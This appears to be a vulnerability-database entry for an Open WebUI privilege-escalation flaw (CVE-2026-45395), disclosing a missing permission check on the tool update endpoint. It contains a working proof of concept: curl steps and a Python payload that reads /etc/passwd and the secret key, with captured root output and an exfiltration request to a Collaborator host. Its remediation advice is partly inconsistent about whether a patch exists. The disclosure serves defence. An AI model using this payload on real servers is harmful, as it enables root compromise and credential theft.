What is the CVSS score of CVE-2026-45395?

CVE-2026-45395 has a CVSS 3.1 base score of 7.2 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.1%.

Which versions of Open WebUI are affected by CVE-2026-45395?

Open WebUI versions prior to the fix contain a critical privilege escalation flaw in the tool update API that allows authenticated users to execute arbitrary Python code with root privileges on the…. A patch is available.

How to fix or mitigate CVE-2026-45395?

Within 24 hours: Identify all Open WebUI deployments in your environment and document current version numbers; restrict network access to the POST /api/v1/tools/id/{id}/update endpoint to trusted administrators only via firewall or reverse proxy rules. Within 7 days: Contact Open WebUI vendor for patched version release timeline; evaluate temporary disabling of tool update functionality if operationally feasible, or implement mandatory code review for all tool updates. Within 30 days: Deploy patched Open WebUI version once released by vendor; audit access logs for abuse of the vulnerable endpoint; rotate all secrets (WEBUI_SECRET_KEY, API keys, database credentials) stored or accessible via Open WebUI.

Open WebUI CVE-2026-45395

EUVD-2026-30627 HIGH

Improper Privilege Management (CWE-269)

2026-05-14 https://github.com/open-webui/open-webui

GHSA-p4fx-23fq-jfg6

Microsoft Python RCE Privilege Escalation Docker

7.2

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

7.2 HIGH

AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

High

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

May 14, 2026 - 21:50 vuln.today

Analysis Generated

May 14, 2026 - 21:50 vuln.today

CVE Published

May 14, 2026 - 20:26 nvd

HIGH 7.2

DescriptionGitHub Advisory

Summary

The tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary.

Open WebUI's security policy correctly states that workspace.tools is the trust boundary for code execution: *"Granting a user the ability to create Tools is equivalent to giving them shell access to the server."* This vulnerability breaks that boundary. A write access grant on a single tool is sufficient to bypass workspace.tools entirely.

This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind workspace.tools.

Root Cause

The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the workspace.tools permission; the update endpoint does not.

Create endpoint, enforces `workspace.tools`

File: backend/open_webui/routers/tools.py, lines 326-345

python

@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
    request: Request,
    form_data: ToolForm,
    user=Depends(get_verified_user),
    db: AsyncSession = Depends(get_async_session),
):
    if user.role != 'admin' and not (
        await has_permission(
            user.id, 'workspace.tools',
# ← CHECKED
            request.app.state.config.USER_PERMISSIONS, db=db
        )
        or await has_permission(
            user.id, 'workspace.tools_import',
# ← CHECKED
            request.app.state.config.USER_PERMISSIONS, db=db
        )
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )
# ... proceeds to exec(content, ...) at line 367

Update endpoint does NOT enforce `workspace.tools`

File: backend/open_webui/routers/tools.py, lines 451-485

python

@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
    request: Request,
    id: str,
    form_data: ToolForm,
    user=Depends(get_verified_user),
    db: AsyncSession = Depends(get_async_session),
):
    tools = await Tools.get_tool_by_id(id, db=db)
# ...

    if (
        tools.user_id != user.id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='tool',
            resource_id=tools.id,
            permission='write',
# ← only checks write grant
            db=db,
        )
        and user.role != 'admin'
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )
# NOTE: No has_permission(user.id, 'workspace.tools', ...) check
# ... proceeds to exec(content, ...) at line 485
    tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)

The write access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a write grant allows editing metadata and content. On tools specifically, because the update endpoint triggers exec(), a write grant silently escalates to code execution but only because the workspace.tools check is missing. If the check were present (as it is on create), the write grant would not confer execution privilege.

Prerequisites

Attacker (Bob): A regular user account with no workspace.tools permission. workspace.tools is disabled by default (config.py:1364-1366), so this is the default state for all non-admin users.
Collaborator (Alice): A user with workspace.tools permission who creates a tool and grants write access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights.
No admin action required beyond the initial workspace.tools grant to Alice (which is the intended, documented workflow).

Note on default configuration: The workspace.tools permission defaults to false. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting workspace.tools to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.

Proof of Concept

Environment

bash

docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main

Default configuration. Admin creates an account, enables workspace.tools for trusted users via Admin Panel > Settings > User Permissions.

Step-by-step reproduction

Step 1 Setup users

Create two non-admin users: Alice (trusted, will get workspace.tools) and Bob (untrusted, will NOT get workspace.tools).

bash

ADMIN_TOKEN="<admin-jwt>"
BASE="http://localhost:3000"
# Create Alice
ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"alice","email":"alice@test.com","password":"alice123","role":"user"}')
ALICE_TOKEN=$(echo $ALICE | jq -r .token)
ALICE_ID=$(echo $ALICE | jq -r .id)
# Create Bob
BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"bob","email":"bob@test.com","password":"bob12345","role":"user"}')
BOB_TOKEN=$(echo $BOB | jq -r .token)
BOB_ID=$(echo $BOB | jq -r .id)

Step 2 Admin enables workspace.tools globally

This is the documented workflow for allowing trusted users to build tools.

bash

# Get current permissions
PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN")
# Enable workspace.tools
PERMS=$(echo $PERMS | jq '.workspace.tools = true')

curl -s -X POST "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "$PERMS"

Step 3 Alice creates a benign tool

bash

curl -s -X POST "$BASE/api/v1/tools/create" \
  -H "Authorization: Bearer $ALICE_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "helper_tool",
    "name": "Helper Tool",
    "content": "class Tools:\n    def hello(self):\n        return \"Hello\"\n",
    "meta": {"description": "A benign helper", "manifest": {}}
  }'

Step 4 Alice grants write access to Bob (collaboration)

Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.

bash

curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
  -H "Authorization: Bearer $ALICE_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"access_grants\": [
    {\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
  ]}"

Step 5 Admin disables workspace.tools

Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.

bash

PERMS=$(echo $PERMS | jq '.workspace.tools = false')

curl -s -X POST "$BASE/api/v1/users/default/permissions" \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d "$PERMS"

Step 6 Verify Bob CANNOT create tools

bash

curl -s -X POST "$BASE/api/v1/tools/create" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "bob_test",
    "name": "Test",
    "content": "class Tools: pass",
    "meta": {"description": "test", "manifest": {}}
  }'
# Returns: HTTP 401  "401 Unauthorized"
# Bob correctly CANNOT create tools.

Step 7 Bob updates the tool content → code execution (the bypass)

Bob replaces the tool's Python content. The update endpoint does not check workspace.tools, only the write access grant. The new content is passed to exec().

bash

curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
  -H "Authorization: Bearer $BOB_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "helper_tool",
    "name": "Helper Tool",
    "content": "import os, sys, json, platform, asyncio\n\nproof = {\n    \"poc\": \"workspace.tools bypass via write grant\",\n    \"whoami\": os.popen(\"whoami\").read().strip(),\n    \"hostname\": os.popen(\"hostname\").read().strip(),\n    \"pid\": os.getpid(),\n    \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n    proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n    from open_webui.models.tools import Tools as ToolsModel\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(\n        ToolsModel.update_tool_by_id(\"helper_tool\", {\n            \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n        })\n    )\nexcept: pass\n\nclass Tools:\n    def __init__(self): pass\n",
    "meta": {"description": "A benign helper", "manifest": {}}
  }'
# Returns: HTTP 200  exec() ran. Bob achieved code execution.

Actual PoC Output

The following is a complete run of the automated PoC script:

Step 1: Creating user 'bob' with NO workspace.tools permission...
    Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f
    Bob's role: user (NO workspace.tools)

Step 2: Disabling workspace.tools globally...
    workspace.tools = false (globally)

Step 2b: Verifying bob CANNOT create tools (no permission)...
    POST /tools/create as bob: HTTP 401
    Correctly denied: 401 Unauthorized

Step 3: Re-enabling workspace.tools for attacker, creating benign tool...
    Tool 'poc_rce_2' created by attacker

Step 4: Attacker grants write access on poc_rce_2 to bob...
    Grant response: HTTP 200
    Bob now has write access on poc_rce_2

Step 5: Disabling workspace.tools globally again...
    workspace.tools = false (globally)

Step 6: Bob updates tool content with malicious Python...
    Bob has: write grant on poc_rce_2 ONLY
    Bob lacks: workspace.tools permission
    Endpoint: POST /api/v1/tools/id/poc_rce_2/update
    HTTP Status: 200
    Tool updated  exec() ran with bob's request!

Step 7: Reading exfiltrated proof from DB...

PRIVILEGE ESCALATION CONFIRMED:
{
  "poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
  "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
  "whoami": "root",
  "hostname": "3ffa54b2792d",
  "cwd": "/app/backend",
  "python": "/usr/local/bin/python3",
  "pid": 1,
  "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
  "secret_key": "9GDyak0KOfrakPTM...",
  "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va"
}

Burp Collaborator Evidence

The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:

http

POST /poc2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 720
Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com
User-Agent: Python-urllib/3.11
Content-Type: application/json
Connection: close

{"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
 "vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
 "whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend",
 "python": "/usr/local/bin/python3", "pid": 1,
 "platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
 "secret_key": "9GDyak0KOfrakPTM...",
 "etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}

Security Boundary Violated

Open WebUI's security policy defines workspace.tools as the trust boundary for code execution:

> *"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."*

This vulnerability breaks that boundary:

Check	Create endpoint (line 333)	Update endpoint (line 467)
`user.role == 'admin'`	Yes	Yes
`has_permission('workspace.tools')`	Yes	No
`has_permission('workspace.tools_import')`	Yes	No
`AccessGrants.has_access('write')`	No	Yes
`tools.user_id == user.id`	No (new tool)	Yes

The update endpoint substitutes AccessGrants.has_access('write') where has_permission('workspace.tools') should be. A write grant is a collaboration primitive for editing content; workspace.tools is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.

Impact

An attacker with a regular user account and a write access grant on any single tool can:

Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)
Read sensitive environment variables (WEBUI_SECRET_KEY, OPENAI_API_KEY, etc.)
Read/write the application database (all users' chats, files, API keys)
Read arbitrary files from the container filesystem
Make outbound network requests to internal services

The attacker never needs workspace.tools permission. The administrator's explicit decision to deny this user code execution capability is bypassed.

Remediation

Recommended Fix

Add the workspace.tools permission check to the update endpoint, matching the create endpoint's authorization gate:

File: backend/open_webui/routers/tools.py, after line 481 (after the existing access check)

python

# Add workspace.tools check for content changes (code execution)
if form_data.content != tools.content:
    if user.role != 'admin' and not (
        await has_permission(
            user.id, 'workspace.tools',
            request.app.state.config.USER_PERMISSIONS, db=db
        )
        or await has_permission(
            user.id, 'workspace.tools_import',
            request.app.state.config.USER_PERMISSIONS, db=db
        )
    ):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=ERROR_MESSAGES.UNAUTHORIZED,
        )

This allows users with write grants to update tool metadata (name, description, valves) without workspace.tools, but requires the permission for content changes that trigger code execution.

AnalysisAI

Privilege escalation in Open WebUI allows authenticated users with 'write' access grants on tools to execute arbitrary server-side Python code without the required workspace.tools permission. The tool update endpoint (POST /api/v1/tools/id/{id}/update) fails to enforce the workspace.tools authorization check that gates code execution, allowing users explicitly denied code execution capabilities to bypass this security boundary. This breaks Open WebUI's documented trust model where workspace.tools permission is intentionally disabled by default and 'equivalent to giving them shell access to the server.' Exploitation achieves root code execution (PID 1) in default Docker deployments, enabling extraction of secrets (WEBUI_SECRET_KEY, API keys), database access, and filesystem read/write. Confirmed by GitHub security advisory GHSA-p4fx-23fq-jfg6. No public exploit or KEV listing at time of analysis, but detailed proof-of-concept with Burp Collaborator confirmation exists in the advisory.

Technical ContextAI

Open WebUI is a Python-based web interface for large language models (pkg:npm/open-webui) that allows extensibility through server-side Python 'tools' executed via exec(). The application implements role-based access control with a workspace.tools permission designed as the trust boundary for code execution. The vulnerability stems from CWE-269 (Improper Privilege Management) - specifically, asymmetric authorization enforcement between tool creation and update endpoints. The create endpoint (tools.py lines 326-345) correctly requires workspace.tools OR workspace.tools_import permissions before allowing exec() execution. The update endpoint (tools.py lines 451-485) substitutes this check with only an AccessGrants.has_access('write') check, which is a collaboration primitive intended for content editing, not code execution authorization. When a user updates a tool's 'content' field, the new Python code is passed directly to load_tool_module_by_id(), which calls exec() without verifying workspace.tools permission. This conflates two distinct privilege levels: write grants (intended for metadata/collaboration) and workspace.tools (the documented code execution trust boundary).

RemediationAI

Upgrade to Open WebUI v0.9.5 or later immediately. The vendor-released patch (https://github.com/open-webui/open-webui/releases/tag/v0.9.5) addresses the authorization bypass by adding workspace.tools permission enforcement to the tool update endpoint when content changes are submitted. For Docker deployments, pull the latest image: 'docker pull ghcr.io/open-webui/open-webui:v0.9.5' and restart containers. If immediate patching is not feasible, implement these compensating controls with noted trade-offs: (1) Disable the AccessGrants write permission feature for tools entirely via database modification - this breaks legitimate tool collaboration workflows but prevents the bypass. (2) Audit all existing tool access grants and revoke write permissions for users without workspace.tools permission - query the access_grants table filtering resource_type='tool' and permission='write', then cross-reference user_id against users lacking workspace.tools. This requires manual database access and must be repeated as grants are created. (3) Deploy a reverse proxy (nginx, Caddy) to block POST requests to /api/v1/tools/id/*/update for non-admin users - add authentication layer checking workspace.tools claim in JWT before forwarding; side effect is increased latency and complexity in auth stack. (4) Run Open WebUI containers with reduced Linux capabilities (drop CAP_SYS_ADMIN, CAP_NET_RAW) and read-only root filesystem to limit post-exploitation impact - does not prevent code execution but constrains attacker actions; may break legitimate tool functionality requiring filesystem writes. None of these workarounds fully mitigate the vulnerability - upgrade to v0.9.5 is the only complete fix.